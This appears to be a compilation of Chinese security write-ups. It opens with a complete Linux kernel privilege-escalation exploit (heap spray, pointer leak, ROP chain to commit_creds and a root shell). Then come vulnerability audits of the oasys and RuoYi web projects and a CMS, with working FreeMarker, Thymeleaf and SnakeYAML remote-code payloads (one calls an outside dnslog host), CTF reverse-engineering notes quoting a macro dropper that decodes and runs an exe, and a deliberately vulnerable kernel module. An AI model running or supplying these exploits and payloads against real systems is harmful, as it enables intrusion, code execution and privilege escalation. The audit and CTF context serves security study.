#include <unistd.h>
#include <sys/sysinfo.h>
#define PAGE_SIZE 0x1000
int randint(int min, int max) {
return min + (rand() % (max - min));
}
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
bool is_kernel_text_addr(size_t addr) {
return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
bool is_dir_mapping_addr(size_t addr) {
return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}
#define INVALID_KERNEL_OFFSET 0x1145141919810
const size_t kernel_addr_list[] = {
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};
size_t kernel_offset_query(size_t kernel_text_leak) {
if (!is_kernel_text_addr(kernel_text_leak)) {
return INVALID_KERNEL_OFFSET;
}
for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}
size_t search_kernel_offset(void *buf, int len) {
size_t *search_buf = buf;
for (int i = 0; i < len / 8; i++) {
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
printf("[+] kernel offset: %#lx\n", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
void *alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
bind_core(true, true);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timer);
bind_core(false, true);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
}
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
pthread_t poll_tid[POLL_NUM];
void create_poll_thread(size_t size, int timer) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds =
(size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
+ N_STACK_PPS;
args->timer = timer;
pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}
void wait_poll_start() {
while (poll_threads != poll_cnt);
}
void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
for (int i = 0; i < poll_threads; i++) {
pthread_join(poll_tid[i], NULL);
if (confuse != NULL) {
confuse(confuse_args);
}
}
poll_cnt = poll_threads = 0;
}
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
#define KEY_NUM 199
int key_id[KEY_NUM];
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "%d", id);
return key_id[id] =
syscall(__NR_add_key, "user", description, payload,
payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
void get_shell(void) {
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
}
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
int cormon_fd;
char buf[0x20000];
void seq_confuse(void *args) {
open("/proc/self/stat", O_RDONLY);
}
size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;
int main() {
bind_core(true, false);
save_status();
signal(SIGSEGV, (void *) get_shell);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if (cormon_fd < 0) {
perror("[-] failed to open cormon.");
exit(-1);
}
size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
perror("[-] failed to open stat.");
exit(-1);
}
if (i == 2048) {
puts("[*] Spraying user keys in kmalloc-32...");
for (int j = 0; j < KEY_NUM; j++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(j, buf, 32);
if (j == 72) {
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int k = 0; k < 14; k++) {
create_poll_thread(
PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
3000);
}
bind_core(true, false);
wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads(seq_confuse, NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");
for (int i = 0; i < KEY_NUM; i++) {
int len = key_read(i, buf, sizeof(buf));
kernel_offset = search_kernel_offset(buf, len);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
qword_dump("dump leak memory", buf, 0x1000);
target_key = i;
break;
}
}
if (kernel_offset == INVALID_KERNEL_OFFSET) {
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}
push_rsi_pop_rsp_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
pop_r14_pop_r15_ret += kernel_offset;
find_task_by_vpid += kernel_offset;
init_fs += kernel_offset;
pop_rcx_ret += kernel_offset;
add_rax_rcx_ret += kernel_offset;
mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
pop_rbx_ret += kernel_offset;
swapgs_ret += kernel_offset;
iretq += kernel_offset;
puts("[*] Freeing user keys...");
for (int i = 0; i < KEY_NUM; i++) {
if (i != target_key) {
key_unlink(i);
}
}
sleep(1);
puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for (int i = 0; i < TTY_NUM; i++) {
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) {
perror("[-] failed to open ptmx");
}
}
puts("[*] Leaking heap pointer...");
size_t target_object = -1;
int len = key_read(target_key, buf, sizeof(buf));
qword_dump("dump leak memory", buf, 0x1000);
for (int i = 0; i < len; i += 8) {
struct tty_file_private *head = (void *) &buf[i];
if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
&& head->list.next == head->list.prev && head->list.prev != NULL) {
qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
sizeof(struct tty_file_private));
target_object = (size_t) head->tty;
printf("[+] tty_struct addr: %p\n", target_object);
break;
}
}
if (target_object == -1) {
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}
puts("[*] Freeing seq_operation structures...");
for (int i = 2048; i < SEQ_NUM; i++) {
close(seq_fd[i]);
}
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int i = 0; i < 192; i++) {
create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
}
bind_core(true, false);
wait_poll_start();
puts("[*] Freeing corrupted key...");
key_unlink(target_key);
sleep(1); // GC key
puts("[*] Overwriting poll_list next pointer...");
char key[32] = {};
*(size_t *) &buf[0] = target_object - 0x18;
for (int i = 0; i < KEY_NUM; i++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(i, key, 32);
}
puts("[*] Freeing tty_struct structures...");
for (int i = 0; i < TTY_NUM; i++) {
close(tty_fd[i]);
}
sleep(1); // GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for (int i = 0; i < PIPE_NUM; i++) {
pipe(pipe_fd[i]);
write(pipe_fd[i][1], "aaaaaa", 6);
}
puts("[*] Triggering arbitrary free...");
join_poll_threads(NULL, NULL);
((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;
size_t *rop = (size_t *) buf;
*rop++ = pop_r14_pop_r15_ret;
rop++;
rop++; // ops
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
// back to user
*rop++ = swapgs_ret;
*rop++ = iretq;
*rop++ = (uint64_t) get_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
puts("[*] Spraying ROP chain...");
for (int i = 0; i < 31; i++) {
key_alloc(i, buf, 1024);
}
puts("[*] Hijacking control flow...");
for (int i = 0; i < PIPE_NUM; i++) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
sleep(5);
return 0;
}
多试几次还是可以成功的。
oasys系统代码审计
简述:
oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。
下载地址:https://github.com/misstt123/oasys
此项目部署极为简单,我使用的是phpstudy的5.7版本mysql,修改application.properties配置,在IDEA导入oasys.sql数据后,就可以直接运行
并访问后台地址:http://localhost:8088/logins
注意别端口冲突
CSRF:
登录后台,在用户面板处,修改便签功能存在csrf漏洞。
点击修改,抓包,点击生成CSRF的Poc:
将生成Poc的URL复制到浏览器,访问:
访问后,发现已经按照Poc上内容进行了修改:
SQL注入:
代码分析:
在pom文件发现采用mybatis依赖:
全局搜索${
找到outtype参数,定位到xml文件:
符合sql注入条件,于是开始找对应接口,参数,全局搜索allDirector字段:
定位到接口层,于是找接口实现类,发现无,于是全局搜索该接口名称,找哪里引用了此接口:
发现AddController层引用该接口,并通过mapper进行数据库操作,在该controller层搜索原接口方法,定位到具体代码块:
可以看到该参数没有经过任何过滤,于是根据代码块注释进行漏洞复现:
在后台找到通讯录,找到外部通讯录,点击添加联系人:
抓包找到对应数据包:
将localhost换成自己对应的IP,放入sqlmap验证成功:
其实从最初的xml文件来看,其它几个参数也存在sql注入。
存储XSS:
登录后台后,用户处点击修改信息,插入xss代码造成弹窗。
根据提交保存的接口全局搜索:
找到相关信息,根据代码分析,无任何过滤直接存储,造成xss漏洞:
此后台很多地方也均无过滤,可以直接插入xss代码执行。
任意文件读取漏洞:
在控制层UserpanelController处,如下代码存在逻辑错误导致任意文件读取:
可以看出此代码块是用来处理图像请求,并将数据返回到http响应的代码。
这段代码我初看并没看懂,于是对代码进行详细分析:
红框代码逻辑很简单,先传入的f.getPath()值,再通过FileInputStream进行文件读取并返回到http响应。
关键就是f.getPath()的值怎么来的?
如上红框代码,f.getPath()的值来自于rootpath与path的拼接,而path的值则是,先通过request.getRequestURI()获取,再将/image替换为空得来。
但rootpath的值呢?
于是我在该类搜索rootpath找到其定义代码:
发现以@Value注解定义rootpath的值,而@Value注解的作用就是从项目配置文件中获取信息,于是转到配置文件,搜索关键字:rootpath
继续回到controller代码,此时找到rootpath的值,也明白了读取文件的逻辑,于是尝试构造多个/image..路径读取我D盘upload下的文件:
如下图,读取成功:
某小型CMS漏洞复现审计
SQL注入
漏洞复现:
登陆后台,点击页面删除按钮,抓包:
rid参数存在sql注入,放入sqlmap检测成功:
代码分析:
Ctrl+Shift+F检索路由:
定位具体代码,为删除功能:
发现deleteByIds调用了传参rid,跟进:
发现进入Dao层,此处依旧调用的deleteByIds,于是找ICommonDao接口实现类:
定位到该类,发现以ids参数接受原先用户传入的rid参数,并在new一个sql对象后,直接将ids参数进行拼接,并通过原生jdbc执行返回结果。
模板注入
内容管理-文件管理-themes-flatweb-about.html,选择编辑,插入payload:
<#assignvalue="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问首页,点击关与我们:
执行命令,弹出计算机:
代码分析:
配置文件存在freemark
文件上传
漏洞复现:
这个CMS感觉上传文件路径不是很好找,所以上传时先找个合适的目录再点击上传文件。
文件管理处点击admin进入目录:
再点击文件上传:
通过上传jsp马,不过需要以jspx或者jspf后缀绕过上传。
代码分析:
上传时抓包,根据路由全局搜索:
定位到具体代码段:
用filePath参数接受path参数与file参数拼接,再从filePth参数中取出文件名赋值给fname参数。
跟进getSuffix:
发现只是以简单点来获取后缀。
检测是否为jsp文件后,如果不为则进入为空判断,并以FileOutputStream与write直接上传写入。
任意文件删除
漏洞复现:
上传jsp马后,点击右方删除文件,抓包。
将下方数据包改为admin上级目录,删除我先前上传但没找到路径的test.jspx文件,删除成功:
代码分析:
根据数据包在IDEA全局搜索,定位到delete代码段:
该方法接收三个参数:path、name 和 data,这些参数通过 \@RequestParam注解从请求中提取,并进行简单拼接,赋值给file对象,此时file对象代表实际的文件名称。
跟进delete方法:
发现对传入的path参数进行了检查,继续跟进:
发现仅仅采用java自带的类java.security.AccessController下的checkPermission(Permissionperm)静态方法校验权限。
如果权限满足便直接通过fs.delete()方法删除,造成任意文件删除漏洞。
逆向分析Office VBS宏类型文档
该题目贴合实际,在实战中经常遇到此类宏病毒。
将Office文档中嵌入以VBA(Visual Basic forApplications)编写的宏代码脚本,当运行Office文档时,便可以执行各种命令。
VBA脚本文件重定向能够将脚本默认文件vbaProject.bin进行替换,在打开文本时加载其他文件,增加分析者的分析复杂程度。
1、初步分析
在 Office 2007 之后的 Office 文档格式采用的是 OOXML 标准格式。那什么是OOXML 标准?这里的 OOXML 的全称是 Office Open XML File Formats或被称为 OpenXML 格式,这是一个基于 zip+xml定义的文档格式。简单的说就是Office文档是一些xml文档压缩文件,因此我们将一个word文档进行zip解压,可以获得一些xml文件
打开发现是一堆乱码,此时就需要借助大佬们的工具了。
2、oletools
oletools对该文件进行分析,oletools将宏源码完整的还原了出来。
官网:https://github.com/decalage2/oletools/releases
这里采用pip安装模式
pip install -U oletools
运行命令
olevba -c protected_secret.docm > code.vbs
3、分析vbs代码
直接搜索:AutoOpen
里面有太多垃圾代码了
首先将输入的flag异或7
有点意思了,解码exe的base64编码,然后运行exe执行操作,最后再删除exe程序
4、运行Vbs得到exe
将重要的代码拿出来,然后生成exe
Set fso = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")
/*
省略了一大堆 base64赋值串
*/
tempPath = "D:\temp11\temp"
Set tempfile = fso.CreateTextFile(tempPath, True)
fso.GetFile(tempPath).Attributes = 2
tempfile.WriteLine xpkdb
tempfile.Close
batPath = "D:\temp11\temp.bat"
Set batFile = fso.CreateTextFile(batPath, True)
fso.GetFile(batPath).Attributes = 2
batFile.WriteLine "@echo off"
batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"
batFile.Close
Set objExec = objShell.Exec(batPath)
保存为vbs运行,但是我电脑有点小问题没跑运行起来
因此我们采取另一种方法,直接将base64提取出来
代码很简单,将提取出来的代码放进Cyberchef进行提取即可
assets/download-20240908163140-1jiyyj2.exe5、分析exe
很简单的代码,就是位移
6、解密
v9 = [0]*54
v9[0] = 4288
v9[1] = 4480
v9[2] = 5376
v9[3] = 4352
v9[4] = 5312
v9[5] = 4160
v9[6] = 7936
v9[7] = 5184
v9[8] = 6464
v9[9] = 6528
v9[10] = 5632
v9[11] = 3456
v9[12] = 7424
v9[13] = 5632
v9[14] = 6336
v9[15] = 6528
v9[16] = 6720
v9[17] = 6144
v9[18] = 6272
v9[19] = 7488
v9[20] = 6656
v9[21] = 7296
v9[22] = 7424
v9[23] = 2432
v9[24] = 2432
v9[25] = 2432
v9[26] = 5632
v9[27] = 4416
v9[28] = 3456
v9[29] = 7168
v9[30] = 6528
v9[31] = 7488
v9[32] = 6272
v9[33] = 5632
v9[34] = 3520
v9[35] = 6208
v9[36] = 5632
v9[37] = 4736
v9[38] = 6528
v9[39] = 6400
v9[40] = 7488
v9[41] = 3520
v9[42] = 5632
v9[43] = 5184
v9[44] = 3456
v9[45] = 7488
v9[46] = 7296
v9[47] = 3200
v9[48] = 6272
v9[49] = 7424
v9[50] = 2432
v9[51] = 2432
v9[52] = 2432
v9[53] = 7808
flag = ''
for i in range(54):
flag += chr(v9[i] >> 6 ^ 7)
print(flag)
CPython逆向实战分析
Python代码转换为C代码的时候,将会大大增加框架代码量。
https://moonlet.gitbooks.io/cython-document-zh_cn/content/ch1-basic_tutorial.html1、正向py->c
先有正向,再有逆向
pip install cython
写一个简单的pyx文件
.pyx 文件是由 Cython 编程语言 "编写" 而成的 Python 扩展模块源代码文件
print("hello")
写一个 setup.py文件
from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("test.pyx")
)
使用命令开始编译
python setup.py build_ext --inplace
生成如下文件
打开test.c发现有几千行代码
单纯的一行python代码,生成为c代码就几千行
调用so文件
2、逆向分析
2.1 字符串类型
_Pyx_CreateStringTabAndInitStrings
全局字符串赋值一般在_Pyx_CreateStringTabAndInitStrings 中,该函数中使用的字符串定义数组形如:
typedef struct {
PyObject **p;
const char *s;
const Py_ssize_t n;
const char* encoding;
const char is_unicode;
const char is_str;
const char intern;
} __Pyx_StringTabEntry;
而字符串是通过__Pyx_StringTabEntry 的数组进行初始化的,也就是说当我们在该函数中看到以下伪代码时:
v8 = _mm_unpacklo_epi64(&qword_28A98, "AttributeError");
v9 = 15LL;
v10 = 0LL;
v11 = 0x100;
v12 = 1;
就代表这是一个{&qword_28A98, "AttributeError", 15, 0, 1, 0, 1} 的__Pyx_StringTabEntry ,也就是说qword_28A98 中将要初始化一个内容是"AttributeError" 的字符串对象的地址,在后续调用中,调用到AttributeError字符串的地方都会用&qword_28A98 指代
2.2 整数类型
_pyx_pymod_exec_chal
qword_29170 = PyLong_FromLong(113LL, v9, v244, v245);
if ( qword_29170 )
qword_29170 中将存储一个值为113 的整数类型的Python对象。
qword_29600 = PyLong_FromString("2654435769", 0LL, 0LL);
if ( qword_29600 )
大数会用PyLong_FromString 函数来初始化,这里qword_29600 中将存储一个值为2654435769 的整数类型的Python对象,后续用到2654435769的地方将使用qword_29600 。
2.3 import写法
v539 = _Pyx_ImportDottedModule_constprop_0(random);
if ( PyDict_SetItem(_pyx_mstate_global_static, random, v539) < 0 )
{
导入``random``模块,同``import random
3、实战分析
这里提供一道自己出的题目,采用了RC4加密,流程很简单。
让我们开干
把提供的so文件拖进IDA中
而且这个函数 _Pyx_CreateStringTabAndInitStrings() 非常大,不能反编译
目前不知道这个函数的加密,我们先打印其相关的属性,看看能不能找到蛛丝马迹
import test
dir(test)
发现是RC4加密,这样逻辑就清晰了
所以现在的目标是获得RC4的秘钥和密文咯,假设RC4没有魔改
刚才我们在函数_Pyx_CreateStringTabAndInitStrings 找到了非常类似密文的值
9d7422eabf8baf369c09121f02e940099d9c6b538d88e30aac08
但是没有找到 秘钥,说明秘钥可能就不是字符串,而是byte类型!
我们先搜索RC4相关函数
发现代码非常多,暂时先不去分析RC4算法
看看哪里调用了我们的RC4算法
函数:_pyx_pymod_exec_test
但是byte类型怎么初始化呢?
我们编写一个demo,然后反编译去查看初始化方式即可
demo.pyx
key = b'mykekekeke'
en_flag = b'12312312312312'
demo_setup.pyx
from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("demo.pyx")
)
运行命令
python demo_setup.py build_ext --inplace
先看看c文件
还是很清晰的,直接IDA分析so文件
发现byte类型也存储在函数_Pyx_CreateStringTabAndInitStrings
所以我们再翻阅一下,成功找到类似key的代码
DASCTF{cpython_is_so_easy}
若依 RuoYi4.6.0 代码审计
环境布置:
到官网下载源码:https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库,5.7版本。JDK1.8。
IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。
导入:quartz.sql与ry_20201214.sql文件。
运行RuoYiApplication文件。
访问后台:http://localhost:25001/login
Sql注入漏洞:
由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${
定位到可疑参数:
根据id值selectRoleList全局搜索,从xml定位到dao层:
右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:
如下,定位到controller层:
分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。
此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。
于是我们现在需要分析
1:role对象在接收它的参数时是否有过滤,
2:selectRoleList方法在处理role接收后的值是否有过滤。
跟进SysRole类,发现无过滤:
跟进selectRoleList方法,发现无过滤:
于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。
发现不存在dataScope参数,手动添加:
将localhost换成主机IP,放入sqlmap验证
Shiro反序列化:
首先查看项目pom文件,发现shiro版本为1.7.0:
全局搜索cipherKey,定位到密钥值:
由此结合shiro反序列化利用工具利用。
Shiro未授权访问:
查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不需要登录就能访问。authc为登录拦截器,需要登录认证才能访问。
Thymeleaf模板注入:
本框架采用了 Thymeleaf 模板,全局搜索::
根据Mapping构造路径,发送poc
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
计划任务RCE:
如图添加计划任务
将调用目标字符修改如下:
org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')
调用执行:
dnslog出现响应:
任意文件下载漏洞:
继续如上创建定时任务:
ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')
执行后访问如下路径实现文件下载:
/common/download/resource?resource=.zip
跟踪下载路径定位代码:
该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。
于是跟进checkAllowDownload方法:
发现该方法主要做了两件事:
1:禁止掉resource中的目录穿越../
2:以白名单形式检查文件下载规则
这里主要跟进一下2的代码:
取点后缀:
再以点后缀进行白名单匹配:
如果在原controller层if判断为假,进入下载文件代码流程:
至此可发现下载文件的路径不可控,且类型存在白名单限制!
此时我们继续跟进本地资源路径的代码:
我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:
之后即可调用/common/download/resource接口任意下载文件。
Linux kernel 堆溢出利用方法
前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述
Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:
分配:
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
释放:
将对应的连续内存页释放到对应的链表上。
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub allocator
slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。
分配:
首先从 kmem_cache_cpu 上取对象,若有则直接返回。
若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
释放:
若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。
heap_bof
题目分析
题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations bof_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static int bof_init(void) {
//设备号
dev_t devno = MKDEV(bof_major, 0);
int result;
if (bof_major)//静态分配设备号
result = register_chrdev_region(devno, 1, "bof");
else {//动态分配设备号
result = alloc_chrdev_region(&devno, 0, 1, "bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %d\n", bof_major);
